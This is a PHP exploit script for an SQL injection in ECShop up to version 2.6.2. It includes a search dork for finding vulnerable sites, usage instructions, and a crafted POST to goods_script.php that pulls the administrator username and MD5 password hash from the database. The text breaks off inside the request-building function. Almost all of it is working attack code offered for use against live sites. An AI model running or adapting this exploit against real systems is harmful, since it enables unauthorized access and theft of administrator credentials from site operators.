ecshop goods.php,ECShop goods_script.php注射漏洞

#!/usr/bin/php

<?php

print_r(\'

+---------------------------------------------------------------------------+

ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit

by puret_t

mail: puretot at gmail dot com

team: http://bbs.wolvez.org

dork: \"Powered by ECShop\"

+---------------------------------------------------------------------------+

\');

/**

* works with register_globals = On

*/

if ($argc < 3) {

print_r(\'

+---------------------------------------------------------------------------+

Usage: php \'.$argv[0].\' host path

host: target server (ip/hostname)

path: path to ecshop

Example:

php \'.$argv[0].\' localhost /ecshop/

+---------------------------------------------------------------------------+

\');

exit;

}

error_reporting(7);

ini_set(\'max_execution_time\', 0);

$host = $argv[1];

$path = $argv[2];

$resp = send();

preg_match(\'#href=\"([\\S]+):([a-z0-9]{32})\"#\', $resp, $hash);

if ($hash)

exit(\"Expoilt Success!\\nadmin:\\t$hash[1]\\nPassword(md5):\\t$hash[2]\\n\");

else

exit(\"Exploit Failed!\\n\");

function send()

{

global $host, $path;

$cmd = \'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x\'.bin2hex(\'all\').\' LIMIT 1#\';

$data = \"POST \".$path.\"goods_script.php?type=\".time().\" HTTP/1.1\\r\\n\";

$data .= \"Accept: */*\\r\\n\";

$data .= \"Accept-Language: zh-cn\\r\\n\";

$data .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";

$data .= \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\\r\\n\";

$data .= \"Host: $host\\r\\n\";

$data .= \"Content-Length: \".strlen($cmd).\"\\r\\n\";

$data .= \"Connection: Close\\r\\n\\r\\n\";

$data .= $cmd;